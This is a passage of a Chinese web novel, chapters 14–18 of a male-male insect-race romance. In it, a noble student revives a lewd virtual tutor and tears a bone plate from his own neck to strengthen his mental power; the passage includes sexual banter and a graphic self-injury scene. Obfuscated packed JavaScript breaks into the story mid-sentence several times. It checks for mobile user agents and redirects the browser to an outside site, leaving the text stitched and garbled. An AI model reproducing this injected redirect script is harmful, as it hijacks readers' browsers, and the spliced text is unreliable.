卡修给气笑了,大手一挥,豪横刷去了三十二块钱。 他被温德夏特闹得没了脾气,拱手弯腰,“您请客我掏钱,能请康曼德家大少爷吃二两豌杂面,实在是在下的荣幸。” 温德夏特没皮没脸受下嘲讽,给自己加了香菜,又拿了两双筷子,悻悻端碗占座去了。 这可真不怪他抠搜。 卡修知道前身欠着钱,但他不知道前身到底欠了多少。 温德夏特细数过几遍,那可是他妈的八位数! 八、位、数! 14. chapter014 *chapter014* *有点dirty,吃饭别看* *求溺爱* 宿舍服务大厅,温德夏特和其他无数学生一样,在队尾无聊地刷光脑。 他已经将大部分存款用于还债,只留了1万在卡里。 应该…够用吧? 温德夏特进屋时,工位上的雌虫正在低头盖章,小臂上下挥动,快得像是瞬移。 他神色漠然,一丝目光都没有分过来。 “来干什么的?” “补缴水电费。” “宿舍号。” “西苑三栋3201。” “跟户主的关系。” “本虫。” 工虫惊起抬头。 那可是雄虫们的住所。 他试探:“阁下?” 温德夏特波澜不惊:“怎么了。” “您刚刚在排长队吗?雄虫阁下们是有优先服务权的。” “啊这样…我第一次来。” 工虫眉头一皱,“您有任何雌虫下属吗?” “有。” “姓名编号是?” 温德夏特觉得不对劲,“我就来缴个费,这也要汇报?” “不,让您亲自前来缴费是他们的失责,需要上报校方进行处分。” 温德夏特解释:“是我想自己来。” “与您无关,请告诉我您下属的编号。” “…他有事。” “请告诉我编号。” “他便秘了。” 工虫一怔,不知道该如何回话。温德夏特见有效,当即决定乘胜追击: “是我硬要他吃我做的东西,害得他便秘了三天三夜。我很愧疚,如果他再因此受罚,我就更愧疚了——你看,这又不怪他,是我做的东西跟狗屎一样,谁吃谁都要便秘。你要是不信,我明天可以给你带点儿。” 工虫双目惊骇,口水呛进嗓子,止不住地咳嗽。 他不敢相信这种话出自一位雄虫口中。 “你想尝尝吗?” 工虫摇头。 “那现在可以帮我办理了吗?” 工虫点头。 他不敢多说话,动作飞快,掩饰着心中的波涛骇浪。 温德夏特是雄虫加上学生,两层身份,匹配优惠力度最大的双重政策补贴。原本近五千的水电费,减免下来只要一千出头。 温德夏特爽快交钱,没直接离开,压低声音,“能帮我查一下隔壁吗?” 工位上的雌虫挂上标准笑容,“抱歉,我们坚决保护每位客户的隐私。” 温德夏特掏出两枚小金豆,“我不往外说。” 工虫目光一扫,钱倒是其次,主要是不想得罪了这位怪异雄虫。 虽然现在还没暴露,但谁也不确定这位雄虫是不是个暴脾气。只要雄虫一投诉,自己这辈子就无缘服务业了。 上一个坐在这个工位上的雌虫就是这么走的。 更何况水电费跟其他数据比起来无关紧要,顺着哄哄,赶紧哄好了脱身! 工虫下定主意,把桌上的文件册一立,正正好挡住摄像头。 “阁下,我突然想去趟厕所,劳您帮我看一下设备,我回来之前,千万不要让闲杂虫等进屋。” “好嘞,”温德夏特扬起手,“祝你大便通畅!” 工虫又是一呛,铁青着脸起身离开。温德夏特屁股一台一落,坐到电脑前,在键盘上一番操作,迅速找到了希尔十三的水电明细。 “哇……”温德夏特暗暗感叹,“抓到骗子咯。” 3202的电费是比平均值低一点,但也没有低太多。 仔细分析数据,虫在灯开,虫走灯闭,希尔倒是节约电,处处都留着生活痕迹。 这可不像他说的“平时不开灯”。 温德夏特哼笑两声,没有拆穿希尔十三的打算。 说到底,这位先知小天才是真瞎假瞎跟自己半毛钱关系都没有,他可不想因此得罪了希尔。 毕竟全校上下就他一个先知预备役,没了那边的资源,自己不知道要等到猴年马月才能搞到那个异种的消息。 温德夏特在宿舍楼下买了白粥,一勺半的糖,塑料盒子塑料袋,咕噜噜的液体在里面撞击打晃。 三十二楼,大门紧闭。 希尔十三好像请了私教,正在上课。温德夏特也清楚他俩的关系摆不上明面,没贸然敲门。趴门口听了一会儿,叽里呱啦听不懂,把白粥撂一旁的柜子上,给希尔发条讯息,配上个自己和白粥的萌萌合影,走了。 他要回去研究那个虚拟教学服务。 就目前来说,提升精神力熟练度才是头等大事。 温德夏特在宿舍里兜绕一圈,最终在一个指示板前站定。 在一墙繁复的欧式花雕的衬托下,这黑色面板格外朴素,巴掌大小,右下角一行白字: 【已暂停服务。】 温德夏特敲了敲,白字变换。 【是否要重新激活虚拟教学服务?】 温德夏特立刻点了确认。 【虫脸认证中……认证成功。】 【恭喜,已重新激活!】 面板骤然陷入全黑,连带着全屋的灯光也暗了暗。温德夏特等了半晌,没动静。 不是已经补上电费了吗,难不成这个要单独缴费? 他正思量是哪里出了差错,忽然心脏跳得凶蛮,顿感不对! 他下意识转身,迎面撞见一个飞踢。 温德夏特一个撤步紧贴墙壁,丝毫不惯着,箭步上前,立刻反攻! 破空声震耳,砰—— 拳头穿透身影,狠狠撞上沙发板。 温德夏特疼得呲牙咧嘴,那虚影嘿嘿坏笑,“哇哦,好凶哦~这一拳就当你关我的报酬,不,报应啦!” 温德夏特揉着手,“你是A.L.?” 虚影缓缓变幻出五官,一副高高在上的少年模样。他凭空翘起二郎腿,扬眉挑衅,“正是本大人!不过我现在以这种形态永生,你碰不着也操不了,感觉来了还是得自己撸。” “…把幽默指数下调十点。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357205|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那先把你自己的精神力强度上调十点。” A.L.歪头哼笑,“你以为我是什么机器吗,废物大少。我以前也真切地活过…只不过是在很久以前了。你想要我脑袋里的知识,就必须要同时接受我的性格。我可没那么大方,慷慨地把自己所有的智慧都无偿捐给社会。我要让你们永远记得我。” “不过,你的反应力倒是比以前提升了不少。我很好奇,是什么刺激你把我放出来,嗯?当初我把你骂了个狗血淋头,不是说这辈子都不可能再放我出来了吗?” 温德夏特直奔主题:“我要提升精神力。” “哈,现在知道着急了,我还以为我们温德夏特大少爷要蒙着眼睛装一辈子瞎呢。” 温德夏特真诚问:“能不能帮帮我?” A.L.冷嘲热讽那么久,没看见温德夏特破防,反而显得自己幼稚,也觉得没趣,“给我看看你现在什么状态。” 温德夏特闻言释放精神力。 “好分散,完全没进步啊……” A.L.在空中飘来飘去,眼神聚焦仔细一瞧,被吓得惊异一抖,“诶,等等,虽然熟练度没变,但是怎么厚实了这么多?” 他徐徐摩挲着光滑的下巴,“精神力基础是天生固定的,后天进步是个例,按理说我该上报给系统,让联盟把你抓走好好研究一番。” 温德夏特走向总电闸,不多废话,“那再见。” “诶别!别别别!” A.L.忙去拦他,光影不断穿过温德夏特右手,却构不成任何实际影响。 他急得代码乱飞,红红绿绿蹦到空中,泪珠一样灵动,“我好不容易出来一遭,别又让我回到那种暗无天日的日子嘛!小温啊,你懂我,我根本不在乎什么狗屁的联盟!只要你能满足我一点小小的条件,我不仅帮你保密,还会尽心尽力地辅导你课业——” 温德夏特抬眼,“你想要什么?” “唔……就简简单单一些精神食粮。” “什么?具体点,书?电影?” “p♂o♂r♂n♂.” “……” A.L.乖笑,“要雄雄的,谢谢。” “…你这么厉害,自己找不到吗。” “我这虚影出不了宿舍,芯子里连的还是校园网,看片只能看常规款。鬼政府不支持雄雄,属于违禁片。” 温德夏特长叹一口气,也是无奈,“我可以去问问,但不保证能搞到。” A.L.比一个大拇指,哥儿俩好似的揽上温德夏特肩膀,“我相信你,你可是圣奥古斯丁贵族学院第一多情种!” “在交货之前,先告诉我该怎么锻炼精神力。”温德夏特补充,“越快越好。” A.L.老神在在,“既然你这么诚恳,那我就教你个速成的办法——” “——上床。” 温德夏特倒吸一口气,“我以为我们已经结束这个话题了。” “不,我认真的,上床make love,跟雌虫交.合,那时的精神力会达到巅峰,事半功倍啊!” 15. chapter015 *chapter015* *拔* 温德夏特蹙眉,“就没有其他方法了?” A.L.回避他的目光,双手背后四处溜达,“有倒是有,不过其他法子你应该更不乐意。” 温德夏特盯着他,“说说看。” “你去摸自己的精神腺,它是不是凸起的?那里面有个东西叫鞘片,负责在平时压制精神力溢出,只要你把它拔出来,精神力的外放程度跟上床时没两样,不过坏处就是不好控制,而且疼啊——雄虫身体金贵,对疼痛更敏感,一般虫一辈子都不会碰那玩意儿——” “这个吗?” 温德夏特手里捏着比指甲盖稍大一点的白色骨片,血淌了满臂。 A.L.跃身一看,他后颈红艳艳,血肉模糊看不清楚,跟雪白的皮肤一对比,像冬日里极力绽开的梅花。 “喂!你、你你!” A.L.被温德夏特的决然吓结巴了,傻兮兮瞪着他,大脑宕机。 温德夏特指尖轻挑,不断翻转确认,“应该是这个吧?疼确实疼,但我能感受到精神力正在外泄,跟个漏气的气球似的……” A.L.轻柔地攀上他的手,腆着笑脸,语气前所未有的温柔,“小温,我们插回去吧,好不好?待会儿后劲来了,你根本受不住。” “那就是了。”温德夏特一收手,捂住后颈迈步,“借过,我去拿绷带。” A.L.锲而不舍,原地不动,“小温,这事儿可不是闹着玩,万一你没压住过剩的精神力,它能直接把你脑子冲烂!” 温德夏特上前,他拦。 再上前,再拦。 温德夏特干脆无视那片彩光,从虚影中穿出,翻出急救箱,颇为熟练地打绷带。 A.L.在他头顶飞,蚊子似的嗡嗡:“小温啊,你要是因此出了什么事,我真就得死啦!那群老东西肯定会抹杀掉我的个性,只留下我的知识啦!” “小温,温温,听我一句劝,我允许你对着我撸,咱们别走这个极端——” “好了。”温德夏特斩钉截铁,目色坚韧,“只要我能压制住它,就不会有问题了吧?” A.L.见劝不动他,急得自己抽自己嘴巴,“我真嘴贱,就不该跟你提这个!” “别扇自己了。你没痛觉,我没良心,卖惨大戏没受众啊。” 温德夏特几个深呼吸,咧开嘴咬牙切齿,站也不是坐也不是,僵在原地疼得颤笑。他酝酿许久,只憋出来三个字: “你信我。” 此刻温德夏特精神大作,感官通窍,敏感度提升到顶点,被迫感受着细细密密的痛楚。 宿舍里同时充斥着雾气和血气,一念天堂一念地狱。 他的面容在白雾里朦朦胧胧瞧不清,但自有股居高临下的威风,压迫着观者的天灵盖。A.L.恍惚一刹,好像回想起了某个老相识。 说不定还真能成。 …算了,成全这倔小鬼吧。 A.L.将悔意转化成动力,铆足劲儿指导:“别用蛮力压制,精神力是你的所有物,不是你的敌人——去感受它的流动,体会它的节奏。现在它是乱麻一样的线球,你得找到根,找到头,捏住了一抖,直接从头顺到尾!” 温德夏特闭上眼睛,眉头瑟缩,一边忍痛一边拆线。 如火如荼,热气腾腾。 随着时间推移,精神力逐渐明晰安稳,光晕乖巧匍匐在温德夏特身侧。乍一看,只会觉得他细皮嫩肉,月亮似的充盈灵秀。 “这个程度就可以了。” A.L.适时开口,“稳定下来后试着修复一下后颈,用精神力促进细胞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357206|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再生,省得血次呼啦太狼狈。” 温德夏特不是个迟钝的,当即结合自己看过的教材,引导精神力填充伤口。 那伤口太骇人,硬生生用指甲抠出来的血窟窿,烂乎乎湿盈盈,油润,逼仄,黏腻,透着一股铁锈的腥味。 无数白丝在上面蠕蠕而动,皮肉一点一点愈合,最后只渗出淅淅沥沥的血珠。 A.L.在一旁默默注视,抿了抿唇,压抑着诡异的兴奋。 “我先撤了,有事叫我。” 温德夏特睁开眼,嗓子哑了,“这么急?” “性.欲来了。”A.L.舔舔唇,毫不避讳地看着他笑,“就你这天赋,这死倔劲儿,日后保有成就。到时候出本自传,别忘了把我写进去。” 温德夏特累得向后倒,双肘撑地,闻言咯咯笑,像只摆尾的花狐狸,哼唧,“我可懒得出书。” “难道你死后就不想留下些什么吗?” “不想。”温德夏特几乎没犹豫,“死都死了,往我骨灰里倒点水去糊墙我也不在乎。” A.L.眉头一挑,“你倒是通达。” 温德夏特粲然一笑,朱唇皓齿,“我可不通达,我爱财又惜命,活生生大俗虫一个——我要不择手段地活下去,而且要活得很好很好;我要让所有曾经看不起我的虫都看看清楚,到底是谁笑到了最后。” A.L.虚空地飘着,被眼前的景象震得荡魂摄魄。 雄虫整张脸蒙着水雾,斜靠在奢靡的毛绒地毯之上,被斑驳的血迹簇拥。那个脆弱呦,惹人怜爱呦,仿佛朔风一卷就能碎在云雾中。 但仔细一看,清浅的眸光之下全是野心,朔风是他,云雾也是他。 好一幅自由不羁的风骨! A.L.咧开嘴笑了。 “别忘了我的雄雄!” 16. chapter016 *chapter016* *明天有空吗* 温德夏特之后几天并不好过。为了掩饰痕迹,他挑了一个纯黑的choker戴上,清纯的眉眼转瞬染上一些说不清道不明的情趣色彩,被A.L.啧啧了好久。 温德夏特不为所动。 在熟练度进步之前,他必须保持情绪稳定,将全部的精力都用于压制精神力。 你想,原本精神力安安分分待在体内,现在全一溜烟释放出来,还要控制在周身不能外扩,保证精神力和皮肤的间隙降到毫米级别。 这难度不亚于让卡修亲口对自己说“我爱你”。 于是便有了温德夏特这幅精神恍惚、极度虚乏的模样。 他沉默寡言,双颊白得发灰。 历史课上遭点名了,他低着头没动静,狗叔友情一戳,他慢悠悠站起身与老师对视,“啊?” 下节课,戳,起身,“嗯?” 再下节课,再一戳,温德夏特也觉得难为情,又实在分不开心,随口蒙一个: “…C?” “请坐,答案是克修慕第二次战役。” 宛如弱智。 连狗叔都看不过去了,下了课就蹲他课桌旁边,目光关切,“老大,你是不是累着了?我看你面色白得像瓷,一点儿血色都没有,身形也站得打摆直晃,我真怕你一阖眼就再也睁不开了。” 狗叔伸手去摸,被温德夏特歪头躲开,他不放弃,继续劝道:“其实咱们能连续上三天的课,已经很不错了!要不像上学期一样,逃了吧?” 温德夏特一抬眼,“逃课?” “对啊,有些课根本没有上的必要,纯坐牢啊。” 温德夏特点点头,心里记下,嘴上却说:“我再坐几天。” 对现在的温德夏特来说,呆在教室里远比去外面瞎溜达稳妥。那些随机事件和原身招惹的霉头,都有可能让他功亏一篑。 至少在精神力登上新台阶前,他不会去冒险。 温德夏特看向狗叔,心里一动,“但你不用陪我,出去玩吧,顺带帮我办个事。” 狗叔低眉顺目,“诶,老大您说。” “帮我找点片。” “什么?” “雄雄的,能找到吗?” 狗叔反应过来,“……老大你、您都这样了!还想着那些事儿呢?” 温德夏特又一阵痛楚上身,出了满头冷汗,懒得解释,“你就说能不能吧。” 狗叔来回踌躇,一咬牙,“行,包在我身上!” 他起身作揖,撂下一句“您多保重”,迈大步子走了。 温德夏特头一垂,趴桌子上继续熬。 在这自残式的锻炼下,温德夏特的精神力正以惊人的速度进步。 每次回到宿舍,A.L.第一件事是庆幸他还活着,第二件事就是感叹他进步怎么这么快。 温德夏特抿唇笑了笑,心里得意洋洋。 随着熟练度上升,温德夏特一心二用,终于补上来点课业。现在要是再叫他回答问题,他保证一答一个准,可惜老师们已经把耐心花在了前几天,目光平缓地掠过去,没有叫他起身的打算。 温德夏特也乐得清闲,自己闷头研究。 只有艾诺老师不死心,几次三番前来询问他精神力恢复得怎么样。温德夏特诚恳摇头,任由老师探查,艾诺往芯子里一探,果然空空如也。 他当然探不到,因为精神力都在壳子外面浮着呢。 一周过去,温德夏特废物大少的名声再次坐实,众虫不来嘲讽,反而有种巨石落地的安稳感。 要是温德夏特真有一开始表现得那么牛,自己岂不是连这个臭名昭著的废物少爷都不如? 周五最后一节课,狗叔久违地走进教室,把一个黑色塑料袋包裹猛地塞进温德夏特手里。 他盯着温德夏特的脸,大喜,“老大,你气色好了不少。” 温德夏特点头,“这得感谢莱利。” 是莱利有天偶然碰见他,远处一打眼,太阳给他镶了一层金边,怎么看怎么像天使。莱利看得心惊胆颤,满眼愧意,说自己最近开学忙晕了,忘了温德夏特大病初愈,疏于照顾阁下,实在该死。 那天以后,每天中午午休,莱利都会提着一个小保温袋来F班班门口蹲守。 当归生姜羊肉汤,枸杞红枣乌鸡汤,党参黄芪鲫鱼汤,每天不重样,全是大补之物。 温德夏特请莱利进来坐,他还不肯,说有违规矩,就站在班门口静静望着雄虫抿汤,安之素然,跟个小媳妇似的盼,等待温德夏特的反馈。 温德夏特也没逼,拎着袋子回到座位,在众雄虫热切的注视下将东西吃干抹净,一点儿不害臊,最终把盖子盖好还给莱利,夸他手艺好,香气灼鼻,简直大厨水准! 莱利一听,顿时也喝了汤一样暖融融,神色舒展,自如离开了。 教室一角,有个虫自找没事,低声嘀咕,“雌虫这么粘人,真是不嫌跌份儿。” 温德夏特精神力一上来,五官也跟着敏锐,逮住那声音望,“这有什么可跌份的?” 雄虫没想到会被他听到,一时间不知道该怎么回应,组织半天语言,结巴: “就、就是您跟莱宝是不是太亲近了?那样哄着,我都怕您把莱宝惯坏了,让他看不清自己的定位,蹬鼻子上脸顶撞了您。您甭不信,雌虫都这尿性,给点好脸色就翘尾巴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357207|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道天高地厚了。” 温德夏特缓缓走来,双臂往桌子上一撑,眼尾上挑,目不转睛盯着说话的雄虫。 雄虫被压得喘不上来气。 他太扎眼了,漂亮又戾气,那双翠绿的眼睛像飞叶,骤然发难: “呸,我放你大爷的狗屁!” “莱宝是你能叫的吗,嗯?人家雌虫在前线砍头,上赶着保护你,你还嫌上人家了。脑子里装的是什么,猪肠吗?现在倒是哔哔叭叭振振有词,等上了战场,我看你怎么哭闹求饶。” 说至此,上辈子战斗时的画面在温德夏特眼前流动起来,飞快起伏,引得人心神荡漾。 回想戛然而止,温德夏特稳控精神力,没心情再闹,半耷拉眼皮瞥过那雄虫,“枪扔手里都不会扣扳机的软蛋东西,傻屌一根。” 他拎书包走人,觉得时候到了。 翘课的时候到了。 战斗的时候到了。 如今温德夏特的精神力已经能收放自如,加上他身高本就不矮,后颈还平坦,只要把光学迷彩面具一戴,看上去就跟个纤瘦的雌虫无异。 唯一的问题是,他问了一圈能说的上话的同学,竟然没一个雄虫知道黑擂台是什么。 温德夏特回到宿舍,决定先把东西放下,从网上看看有没有什么眉目。 屁股刚落座,光脑兀的震动响铃,点开一看,是个未知的号码。 “您好,哪位?” “黑犬。” “哈?” “阿舍尔。” “嗯…找我有事吗。” “你回学校了,怎么不来酒吧?” “最近卡修看得严。” “…我们什么时候见一面。” “今天你有空吗?” “有空。” “那明天有空吗?” “有空啊。” “后天呢?” 对面想了想,“没有。” “哎呦,我正想后天请你吃饭呢。” 阿舍尔一哽,“…躲什么,我又不是没有你宿舍的密码。” 温德夏特恬不知耻,“那能告诉我吗,我忘了。” 这几天还是靠刷指纹开的。 “我没心情跟你玩,大少爷,游戏结束。” 通话中断,三秒钟后,门锁响起。 熟悉的声线不再从扬声器里传出,而是近在咫尺,“我就知道你不会去上课。” 那雌虫通体漆黑,冷漠又诡秘,一双深紫的眼睛似是地狱之光,居高临下藐着他。 “你误了我的大事,夏特,上学期期末还跟我笑着打哈哈,扭脸就玩挺尸。信息不回,电话不打,怎么着?钱都不想要了?” 17. chapter017 *chapter017* *黑皮辣雌自我攻略指南* 温德夏特看着踱步过来的雌虫,宽肩窄腰,身形流畅,步伐轻盈干净,像只徐徐潜伏的野兽。 金色虫纹被肌肉线条勾勒明晰,在黑皮的衬托下呈现出一种独特的金属光泽。 异域风味十足啊! 怪不得原主当初不惜花三百万买下这头暴躁龙。 阿舍尔·坎亚,相当出色的轻型机甲驾驶者,胸大脾气爆,在去年跟原主进行了钱色交易(不是),秘密成为了他麾下的一员大将。 至于为什么不公开——原主日记里一个字都没提。 两虫对上眼,同时发问。 “按理说你不是该叫我一声雄主吗?” “怎么不戴假发了?” “哼,我就是过来跟你解除关系的!” “我嫌丑。” “怎么?” “你这样确实比以前好看。” “我还你钱。” “你还我钱?” 两虫调频成功,终于统一了进度。温德夏特听到有钱,眼睛都亮了,“三百万,拿得出来?” 阿舍尔头一扭,“只要能把我们之间的契约解除,我下一秒就给你转账,连本带息三百二十万。” 温德夏特一个激动,差点没压住精神力。 我靠,天降横财啊! 本屌丝终于盼来了虫生第一春! “解解解,现在就解。”温德夏特忙点开光脑,“怎么解除?销毁线上合同?” 阿舍尔见他这么积极,心里莫名有些吃味,双臂抱胸,“你没权限,得让你的指挥官来。” 温德夏特愣了,“莱利?” “对,签约战士时只用雄虫同意,但解除关系要指挥官操办。” 温德夏特嗤笑一声,只觉得无语,“这是哪儿来的规矩?” 阿舍尔耸肩,也无奈,“调节队内气氛是指挥官的职责所在,有雌虫下属因非伤残原因离职,指挥官也要受处分。” 温德夏特闻言急了,“什么?怎么谁都要欺负我们莱利一脚!” 也就是说,自己在喝了一周莱利亲手煲的养生汤之后,不光要告诉他自己以前偷摸买了别的雌虫,而且还要让他平白受罚?! 温德夏特的青筋止不住地突突,紧咬嘴唇,实在昧不了这个良心。 “……你、们、莱、利?” 阿舍尔语气带着一丝戏谑,“哈,他不是也想走吗?你可以先把他放了,只要没有情报官,解约这事就能指挥自己来操办。” 温德夏特脑子里过了一遍,“这倒还比较合理,你能接受的最后期限是什么时候?” 阿舍尔闻言面色更冷,用公事公办的口吻回应:“我不逼你,不过期中考前后毕业年级就要开始新一届的抱团组队了,你要是想散,最好在这个时间段前就把事情办妥。” 温德夏特抬眼,“组队的事,你细说说呗。” “雄虫作为指挥官,需要至少招募一组完整的小队才有资格参加毕业考核。小队的基础配置是一名指挥官,一名情报官,加上重、轻、中、复合型机甲战士各一位。” 阿舍尔掰着指头数,“也就是说,一个指挥官麾下至少要有五名雌虫才能参加考试。要是凑不齐——像你上学期那样——就会直接按留级处理。” “而组队的最好时机就是期中前后,大概有八成的队伍都会在这时成立。这时年级内部的成绩已经稳定下来了,即使有波动也很小。雌虫战士简历完善,特色鲜明,利于指挥选出最适配的团队。等组好队,也有充足的时间集训备考。” 温德夏特问:“指挥和战士不是双向选择吗?” “话是这么说,但所有虫心里都清楚,选择大权完全由指挥独揽。” 阿舍尔抬眉,神色复杂,长久的隐忍化作一声叹息,看起来轻描淡写,“学院里的雌雄比虽然比外面稍强,但还是有不小的差距。一般来说,成绩突出的雌虫都会在这时选定一位雄主,更稳妥,利于日后的发展。” “不过,确实不止战士们会投简历,一些指挥也会公布自己的简历,招揽虫才。” 阿舍尔手指一勾,熟练调出一个网页,投在空中,“你看。” 界面干净明了,由无数个名片一样的横向小框框堆叠构成。左侧是美化过的正脸照片,右侧跟着姓名、排名、训练安排和职位空缺。 再轻击一下,进入个人界面,不光有雄虫的突出事迹,连其麾下各雌虫的信息也事无巨细。 温德夏特不禁惊叹,“天呐…这么详细。” “是的,一般这东西由各队的情报官来统计总结,以达到更好的招募效果。” 温德夏特来了兴致,“有我的吗?” 阿舍尔冷冰冰回应:“没,可能莱利认为不制作你的简历更利于团队的长久发展。” “…那确实。”温德夏特眼睛骨碌碌转,盯着他,“看你操作这么熟练,你也是想进个更好的队伍才来找我的吧?” 阿舍尔默默避开目光,“我本来对你没什么意见。虽然你不学无术,但一不组织集中训练,二不要我陪睡,相安无事一学年,我都把你看顺眼了,谁成想你一闹就闹个大的?前不久你跳了楼,差点把我也送去见阎王爷,我还能晾着不管吗?” “抱歉,我当时没想到雌虫的连坐制度。”温德夏特面露愧色,“我就是想知道,自己摔下去的时候会想到谁。” 阿舍尔眸光一动,“谁?” “我以为我会想到梅克尔,帕西,托耶斯泰或者其他我苦苦追求而不得的雌虫,但是……” 温德夏特声音渐小,勾得阿舍尔心痒痒,他切切发问:“你想到了谁?” 温德夏特摇头不语,只似笑非笑盯着他看,眼仁干净透彻,弧度合适,会说话似的水灵。 阿舍尔心尖“咯噔”一跳,鬼使神差用手挡住了视线。 温德夏特缓缓歪头,笑意更甚,“你害羞了?” 阿舍尔耳朵通红,“鬼扯什么!” 温德夏特张扬勾唇,“那为什么不看我?” 阿舍尔支支吾吾憋了半天,最终憋出一句无力的“你丑”。 温德夏特被逗得乐不可支,清脆的笑声在房间四处回荡,光华盎然。 阿舍尔忍不住张开指缝去瞥,在他的印象中,那个废物雄主不是这样的。 他永远浓妆艳抹,涂着夸张的粉色口红,戴着刺眼的假发和美瞳。见一个爱一个,爱一个跑一个,可怜又可悲。 第一次相遇是在酒吧,他先是被温德夏特怪异的打扮震惊,又被他眼里的悲怆震惊。 这温德夏特,一喝醉就哭生哭死,任自己愣在旁边手足无措。 明明是贵族大少,明明跟自己这种凶神恶煞讨生活的打手有着天差地别…阿舍尔搞不懂,他还有什么可愁的。 但现在,温德夏特似乎完全不一样了。 最不一样的就是那股自内而外的松弛感。原来的苦大仇深戛然而止了,一张小脸笑得热情又奔放,花儿一样明艳,双唇水水润润似颗刚采的浆果,一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357208|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿不畏怯,不羞涩,不痛苦。 是什么让他变化这么大? 阿舍尔细数近来发生的一切,唯一的变数是——他跳了楼。 他跳了楼。 他清楚了自己心底想的是谁。 他看着自己。 自己骂他丑,他还笑,还笑得这么开心。 阿舍尔好像悟出了一些东西。 他缓缓放下手,怔怔愣愣看着温德夏特笑。在他的眼里,给雄虫加了份放肆,加了份旖旎,加了份爱意。 温德夏特一脸酣畅,扶着腰缓过来,发问:“诶,话说回来,你知道黑擂台在哪吗?” “当然了。”阿舍尔脸蛋泛红,表情却冷酷,一对比更显好笑,“干嘛,你要去看我打架?” 温德夏特卡顿一瞬,当即接话:“对。” 他连连点头,小鸡啄米,“就是这样,我想多了解了解你,可以吗?” “哼,勉强同意吧。” 阿舍尔没憋住心底的情绪,唇角向上微微扬起,一时间,竟有了种扬眉吐气的怪异氛围。 他装作很忙的样子,看了眼光脑,“那我们现在走?” 温德夏特摇头,“现在不行,卡修晚上要过来查寝,等十点之后我联系你。” “好。”阿舍尔指指光脑,“正巧我也有个朋友找,先走了。” 他走到门口,又叮嘱:“你完事了联系我。” 温德夏特眉眼弯弯,“放心,忘不掉的。” 阿舍尔半步趔趄,轻轻带上了门。 咔哒—— “哇,一如既往精彩的表演啊,温少。” A.L.的虚影骤然出现,自带鼓掌和欢呼叫好的模版音效,“要是能一碗水端平就更好了。” 温德夏特心安理得,一扬下巴,“人家可是整整三百二十万,而你是我要缴纳的电费的一部分,能相提并论吗?” A.L.嘴一撇,“太无情!” 温德夏特拎出那黑色塑料袋晃了晃,“你要的东西。” A.L.转瞬变脸,“我爱你!” 温德夏特一点不感动,“爱吧,你确实该爱我,你都不知道我朋友把这东西递给我的时候是什么眼神。” “嗨呀~年轻人腰好,多背背锅嘛。”A.L.兴冲冲去接,却忘了自己没有实体,平白穿过塑料袋,气得他直哼哼,“帮我放!小温,帮我放!” 温德夏特也没多为难,掏出投影仪一插,把音量调合适,任由小电影在客厅大屏上投影。 他又翻了包,掏出一个笔记本,上面已经零星记了一些东西。 A.L.无意一瞥,差点把眼珠子瞪出来,“温德夏特你没事吧?上面播着这么美妙的电影,你在底下看《指挥进阶教程》?” 温德夏特平静仰头,“因为我已经把基础教程看完了。” “这是重点?!!” “啊…我对那些不感兴趣。” 虫族的p♂o♂r♂n,他上辈子也看过几部,不过都是雌雄或者雌雌的。 他一开始以为这只是一种sm,结果翻来覆去竟全是这种花样。那时他才意识到,虫族的暴虐已经深深刻在骨子里了,天生强大的恢复力使他们拥有着更刺激的交.配方式。 作为从地球穿越过来的钢铁直男,他有点难以接受。 “你养胃。”A.L.笃定评价道。 “说不定只是没遇上对的…虫。”温德夏特抬眉回应。 在此起彼伏的低.喘声中,温德夏特开始了下一单元的学习。 18. chapter018 *chapter018* *重返黑擂台* 见时间差不多了,温德夏特指尖一划,把视频卡带抽出来,敞开黑色塑料袋就往里塞。 A.L.上蹿下跳,“嘿!本大人还没尽兴呢!” “大人您看看现在几点了?” 温德夏特瞥他一眼,手上不停活,套了层白纸,又套了层布袋,“等卡修过来看见这玩意,我跳进银河都洗不清,到时候你也没好果子吃。” 温德夏特态度坚决,躬身拉开底端的抽屉,把赃物老老实实放进角落。 目光一转弯,他的鞘片也在那里。 